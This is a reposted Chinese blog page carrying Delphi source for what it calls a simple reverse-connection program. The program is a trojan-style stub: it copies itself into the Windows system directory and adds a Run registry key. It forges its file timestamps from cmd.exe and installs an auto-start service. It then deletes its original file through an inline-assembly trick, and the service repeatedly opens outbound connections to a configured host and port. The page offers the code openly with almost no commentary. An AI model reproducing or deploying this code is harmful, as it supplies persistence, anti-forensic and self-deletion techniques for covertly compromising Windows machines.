标签：
program SvrDemo;
uses
Windows,
WinSvc,
winsock;
const
RegName = ‘SvrDemo‘;
var
szServiceName: pchar = ‘SvrDemo‘;
szFileName:pchar;
ServiceTable: array [0..1] of TServiceTableEntry;
Status: SERVICE_STATUS;
StatusHandle: SERVICE_STATUS_HANDLE;
Stopped: boolean;
Paused: boolean;
cmd :array[0..MAX_PATH] of char;
//获取系统目录
function GetDirectory(dInt: Integer): string;
var
s: array[0..255] of Char;
begin
case dInt of
0: GetWindowsDirectory(@s, 256); //Windows安装文件夾所存在的路径
1: GetSystemDirectory(@s, 256); //系统文件夾所存在的路径
2: GetTempPath(256,@s); //Temp文件夾所存在的路径
end;
if dInt=2 then
result :=string(s)
else
result := string(s) + ‘\‘;
end;
//设置文件时间
procedure setTime(srcFile,destFile:PChar);
var
hFileOld,hFileNew :THandle;
CreationTime, LastAccessTime, LastWriteTime :PFileTime;
begin
hFileOld :=createFile(srcFile,generic_read,file_share_read,nil,
open_existing,FILE_ATTRIBUTE_NORMAL,Cardinal(nil));
if (hFileOld=INVALID_HANDLE_VALUE) then exit;
hFileNew :=createFile(destFile,generic_write,file_share_write,nil,
open_existing,FILE_ATTRIBUTE_NORMAL,Cardinal(nil));
if (hFileNew=INVALID_HANDLE_VALUE) then exit;
GetMem(CreationTime,SizeOf(TFileTime));
GetMem(LastAccessTime,SizeOf(TFileTime));
GetMem(LastWriteTime,SizeOf(TFileTime));
GetFileTime(hFileOld,CreationTime,LastAccessTime,LastWriteTime);
SetFileTime(hFileNew,CreationTime,LastAccessTime,LastWriteTime);
FreeMem(CreationTime);
FreeMem(LastAccesstime);
FreeMem(LastWriteTime);
CloseHandle(hFileNew);
CloseHandle(hFileOld);
end;
function LookupName(const Name: string): TInAddr;
var
HostEnt: PHostEnt;
InAddr: TInAddr;
begin
HostEnt := gethostbyname(PAnsiChar(Name));
FillChar(InAddr, SizeOf(InAddr), 0);
if HostEnt <> nil then
begin
with InAddr, HostEnt^ do
begin
S_un_b.s_b1 := h_addr^[0];
S_un_b.s_b2 := h_addr^[1];
S_un_b.s_b3 := h_addr^[2];
S_un_b.s_b4 := h_addr^[3];
end;
end;
Result := InAddr;
end;
function StartNet(host:string;port:integer;var sock:integer):Boolean;
var
wsadata:twsadata;
FSocket:integer;
SockAddrIn:TSockAddrIn;
err:integer;
begin
err:=WSAStartup($0101,WSAData);
FSocket:=socket(PF_INET,SOCK_STREAM,IPPROTO_IP);
if FSocket=invalid_socket then
begin
Result:=False;
Exit;
end;
SockAddrIn.sin_addr:=LookupName(host);
SockAddrIn.sin_family := PF_INET;
SockAddrIn.sin_port :=htons(port);
err:=connect(FSocket,SockAddrIn, SizeOf(SockAddrIn));
if err=0 then
begin
sock:=FSocket;
Result:=True;
end else
begin
Result:=False;
end;
end;
procedure Delme;
var
module : HMODULE;
buf : array[0..MAX_PATH - 1] of char;
p : ULONG;
hKrnl32 : HMODULE;
pExitProcess, pDeleteFile, pFreeLibrary: pointer;
begin
module := GetModuleHandle(nil);
GetModuleFileName(module, buf, sizeof(buf));
CloseHandle(THandle(4));
p := ULONG(module) + 1;
hKrnl32 := GetModuleHandle(‘kernel32‘);
pExitProcess := GetProcAddress(hKrnl32, ‘ExitProcess‘);
pDeleteFile := GetProcAddress(hKrnl32, ‘DeleteFileA‘);
pFreeLibrary := GetProcAddress(hKrnl32, ‘FreeLibrary‘);
asm
lea eax, buf
push 0
push 0
push eax
push pExitProcess
push p
push pDeleteFile
push pFreeLibrary
ret
end;
end;
function SetRegValue(key:Hkey; subkey,name,value:string):boolean;
var
regkey:hkey;
begin
result := false;
RegCreateKey(key,PChar(subkey),regkey);
if RegSetValueEx(regkey,Pchar(name),0,REG_EXPAND_SZ,pchar(value),length(value)) = 0 then
result := true;
RegCloseKey(regkey);
end;
procedure SetDelValue(ROOT: hKey; Path, Value: string);
var
Key: hKey;
begin
RegOpenKeyEx(ROOT, pChar(Path), 0, KEY_ALL_ACCESS, Key);
RegDeleteValue(Key, pChar(Value));
RegCloseKey(Key);
end;
function InstallService(ServiceName, DisplayName, FileName: string): boolean;
var
SCManager,Service: THandle;
Args: pchar;
begin
Result := False;
SCManager := OpenSCManager(nil, nil, SC_MANAGER_ALL_ACCESS);
if SCManager = 0 then Exit;
try
Service := CreateService(SCManager, //句柄
PChar(ServiceName), //服务名称
PChar(DisplayName), //显示服务名
SERVICE_ALL_ACCESS, //服务访问类型
SERVICE_WIN32_OWN_PROCESS, //服务类型 or SERVICE_INTERACTIVE_PROCESS
SERVICE_AUTO_START, //自动启动服务
SERVICE_ERROR_IGNORE, //忽略错误
PChar(FileName), //启动的文件名
nil, //name of load ordering group (载入组名) ‘LocalSystem‘
nil, //标签标识符
nil, //相关性数组名
nil, //帐户(当前)
nil); //密码(当前)
Args := nil;
StartService(Service, 0, Args);
CloseServiceHandle(Service);
finally
CloseServiceHandle(SCManager);
end;
Result := True;
end;
procedure UninstallService(ServiceName: string);
var
SCManager,Service: THandle;
ServiceStatus: SERVICE_STATUS;
begin
SCManager := OpenSCManager(nil, nil, SC_MANAGER_ALL_ACCESS);
if SCManager = 0 then Exit;
try
Service := OpenService(SCManager, PChar(ServiceName), SERVICE_ALL_ACCESS);
ControlService(Service, SERVICE_CONTROL_STOP, ServiceStatus);
DeleteService(Service);
CloseServiceHandle(Service);
finally
CloseServiceHandle(SCManager);
end;
end;
procedure ServiceCtrlHandler(Control: dword); stdcall;
begin
case Control of
SERVICE_CONTROL_STOP:
begin
Stopped := True;
Status.dwCurrentState := SERVICE_STOPPED;
end;
SERVICE_CONTROL_PAUSE:
begin
Paused := True;
Status.dwcurrentstate := SERVICE_PAUSED;
end;
SERVICE_CONTROL_CONTINUE:
begin
Paused := False;
Status.dwCurrentState := SERVICE_RUNNING;
end;
SERVICE_CONTROL_INTERROGATE: ;
SERVICE_CONTROL_SHUTDOWN: Stopped := True;
end;
SetServiceStatus(StatusHandle, Status);
end;
procedure ServiceMain;
var
s:integer;
//MSG:TMSG;
begin
{ while(GetMessage(Msg,0,0,0))do
begin
TranslateMessage(Msg);
DispatchMessage(Msg);
end; }
repeat
if not Paused then
begin
StartNet(‘127.0.0.1‘,600,s);
Sleep(2000);
end;
until Stopped;
ExitProcess(0);
end;
procedure ServiceCtrlDispatcher(dwArgc: dword; var lpszArgv: pchar); stdcall;
begin
StatusHandle := RegisterServiceCtrlHandler(szServiceName, @ServiceCtrlHandler);
if StatusHandle <> 0 then
begin
ZeroMemory(@Status, SizeOf(Status));
Status.dwServiceType := SERVICE_WIN32_OWN_PROCESS or SERVICE_INTERACTIVE_PROCESS;
Status.dwCurrentState:= SERVICE_START_PENDING;
Status.dwControlsAccepted := SERVICE_ACCEPT_STOP or SERVICE_ACCEPT_PAUSE_CONTINUE;
Status.dwWaitHint := 1000;
SetServiceStatus(StatusHandle, Status);
Stopped := False;
Paused := False;
Status.dwCurrentState := SERVICE_RUNNING;
SetServiceStatus(StatusHandle, Status);
ServiceMain;
end;
end;
procedure Main;
begin
szFileName :=pchar(GetDirectory(1) + szServiceName + ‘.exe‘);
if ParamStr(1) = ‘/u‘ then
begin
UninstallService(szServiceName);
SetDelValue(HKEY_LOCAL_MACHINE,‘Software\Microsoft\Windows\CurrentVersion\Run‘,RegName);
end else
begin
GetModuleFileName(hInstance,cmd,MAX_PATH);
ServiceTable[0].lpServiceName := szServiceName;
ServiceTable[0].lpServiceProc := @ServiceCtrlDispatcher;
ServiceTable[1].lpServiceName := nil;
ServiceTable[1].lpServiceProc := nil;
StartServiceCtrlDispatcher(ServiceTable[0]);
if CopyFile(cmd,szFileName,false) then
begin
SetRegValue(HKEY_LOCAL_MACHINE,‘Software\Microsoft\Windows\CurrentVersion\Run‘,RegName,szFileName);
setTime(PChar(GetDirectory(1) + ‘cmd.exe‘),szFileName);
InstallService(szServiceName, szServiceName, szFileName);
Delme;
end;
end;
end;
begin
Main;
end.
http://blog.csdn.net/diligentcatrich/article/details/24466661
一个简单的反射连接程序（修改文件时间，以及创建Windows服务）
标签：
原文地址：http://www.cnblogs.com/findumars/p/5037458.html
